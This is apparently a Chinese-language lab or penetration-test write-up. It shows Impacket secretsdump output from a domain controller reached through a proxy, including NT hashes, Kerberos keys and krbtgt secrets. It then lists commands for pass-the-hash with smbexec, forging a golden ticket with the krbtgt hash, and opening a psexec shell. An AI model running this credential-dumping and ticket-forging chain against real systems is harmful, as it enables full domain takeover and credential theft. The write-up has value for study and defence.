[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  101.34.249.170:2080  ...  192.168.1.83:445  ...  OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe6509677ecfc86c5f30c0e7a39f4a18e
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4c9c203faedca105cff2eefc0bd4cb18:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
MICHA\dc01$:aes256-cts-hmac-sha1-96:97c285a759f88d1e49d99affccac0c2e7df7185c914ec7dcfbac2f8a11147bf5
MICHA\dc01$:aes128-cts-hmac-sha1-96:da5761dee1a6ee734274cc9d35be6df8
MICHA\dc01$:des-cbc-md5:7faef498cdeccdc8
MICHA\dc01$:plain_password_hex:f0fc8e5cdd7142ef79ecfbe75190fe73e4e8ddb80a991bdf40d35c10678fb3852af3dad6519434ce9ac4fbf90c8a85a8e4c6a54234573736dcca04a6614b7ad0c68af5482d8e6dd77740b1c037790e64dd6042d4036ae31b40b3861c1199ca49ec145bae776e52c12d800600b132dd643ef133b5e3418743be4705fe1a3f45b254df768ae8f62d9c15abd8b21681db90c1a1b36bd87f3a37dc8eefe047d57f65226ea68b347b3f7a30b4f06e03e220b085bc514a32e1afc03ea761f9a2f2a03c1ec9737132b1542f5cec4b8c0db4dac2d0402a4fc7c1f1a8ae4ace48258f0619b0239d5a0205fb4aecb0ecc7ca860667
MICHA\dc01$:aad3b435b51404eeaad3b435b51404ee:3f3db7e09d622c2068f7cfda079fc81b:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x9260d940c878f4ff5594ca00970825936ed132f4
dpapi_userkey:0x3e0c8a62b642b29ba6232e0d81b337493cd8b27f
[*] NL$KM 
 0000   DB 27 52 25 2C 65 57 BB  E7 75 76 74 63 D3 C5 BF   .'R%,eW..uvtc...
 0010   30 D0 10 27 23 B9 5E B2  3D FD 52 8C 43 4B F4 07   0..'#.^.=.R.CK..
 0020   D4 DF DA 13 D5 03 5D 86  C8 BA 9F 78 F7 17 3F 27   ......]....x..?'
 0030   A4 7B 56 D5 81 24 C8 48  CD EE A3 92 A5 BA EF 36   .{V..$.H.......6
NL$KM:db2752252c6557bbe775767463d3c5bf30d0102723b95eb23dfd528c434bf407d4dfda13d5035d86c8ba9f78f7173f27a47b56d58124c848cdeea392a5baef36
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain  ...  101.34.249.170:2080  ...  192.168.1.83:135  ...  OK
[proxychains] Strict chain  ...  101.34.249.170:2080  ...  192.168.1.83:49666  ...  OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:015f5d04d14d053508d14ac11d6496bb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b393c2be124a8b1875d340e492177029:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MICHA.COM\test:1103:aad3b435b51404eeaad3b435b51404ee:507f900f67d2a00d4bd77799745689f0:::
MICHA.COM\zarihow:1105:aad3b435b51404eeaad3b435b51404ee:cc4ce384ae49e1f877f6c3bd38fcc7e9:::
N1tols:3102:aad3b435b51404eeaad3b435b51404ee:6912928308e3cda903e6d75bd6091a20:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:3f3db7e09d622c2068f7cfda079fc81b:::
WIN-R4DDIB9732K$:1104:aad3b435b51404eeaad3b435b51404ee:06284f51a178d6dacdfcf2dc105cecba:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:481767273049409e1fcade9e64458b6d40ab7e75fe6dbdc87997f020c83cd0d5
krbtgt:aes128-cts-hmac-sha1-96:e7545b77955f4a0a5a72e97ceaa4d623
krbtgt:des-cbc-md5:c110943e57513bf2
MICHA.COM\test:aes256-cts-hmac-sha1-96:96a626e378c16488577f8a2769c1c34e42c06edbe28ecf6dd57a1616f22ec99f
MICHA.COM\test:aes128-cts-hmac-sha1-96:ac886fa94cb837b7fa3f10c82a5710e5
MICHA.COM\test:des-cbc-md5:6d54e062f820cbf7
MICHA.COM\zarihow:aes256-cts-hmac-sha1-96:add8c3e4bdf87174ef19d92b4de0d2ccd8971309818de2fdbcf3e702da44e69f
MICHA.COM\zarihow:aes128-cts-hmac-sha1-96:4054860d871050a7b16236b8098177c5
MICHA.COM\zarihow:des-cbc-md5:b9f7b3c14cb0e3c8
N1tols:aes256-cts-hmac-sha1-96:5274665254da90b8bb9613b3603ac83c162e8b08e226d5f4f296fbe064464e64
N1tols:aes128-cts-hmac-sha1-96:3365fe6e5e0af93ad8c0e94d3b481025
N1tols:des-cbc-md5:685e5415070b492f
DC01$:aes256-cts-hmac-sha1-96:97c285a759f88d1e49d99affccac0c2e7df7185c914ec7dcfbac2f8a11147bf5
DC01$:aes128-cts-hmac-sha1-96:da5761dee1a6ee734274cc9d35be6df8
DC01$:des-cbc-md5:b3a226fbe0ec2c89
WIN-R4DDIB9732K$:aes256-cts-hmac-sha1-96:124dd8d6c3f11ced2c5146990f0cace06e39aeb88d1922b9dfed1daf9443b169
WIN-R4DDIB9732K$:aes128-cts-hmac-sha1-96:fa10733230ac1e9d2b503537dcdce7e7
WIN-R4DDIB9732K$:des-cbc-md5:ad4c70134fa1a476
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

由于拿到了admin的hash

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:015f5d04d14d053508d14ac11d6496bb:::

直接

1
proxychains impacket-smbexec MICHA/Administrator@192.168.1.112 -hashes :015f5d04d14d053508d14ac11d6496bb

在上面我们看到了krbtgt，其实可以打黄金票据

在前面dc01的shell里面执行,因为这里的shell都有中文乱码

1
2
3
chcp 65001
whoami /user
输出：S-1-5-21-695962042-539767436-2100334642-3101

然后把拿到的票据去掉后四位,伪造Administrator的票据

1
impacket-ticketer -nthash b393c2be124a8b1875d340e492177029 -domain MICHA.COM -domain-sid S-1-5-21-695962042-539767436-2100334642 Administrator

加入hosts解析不然会报错

1
2
echo "192.168.1.83 dc01.MICHA.COM dc01" >> /etc/hosts
echo "192.168.1.112 WIN-R4DDIB9732K.MICHA.COM WIN-R4DDIB9732K" >> /etc/hosts

暴露伪造的票据到环境变量

1
export KRB5CCNAME=Administrator.ccache

直接拿shell

1
proxychains impacket-psexec MICHA.COM/Administrator@192.168.1.112 -k -no-pass -dc-ip 192.168.1.83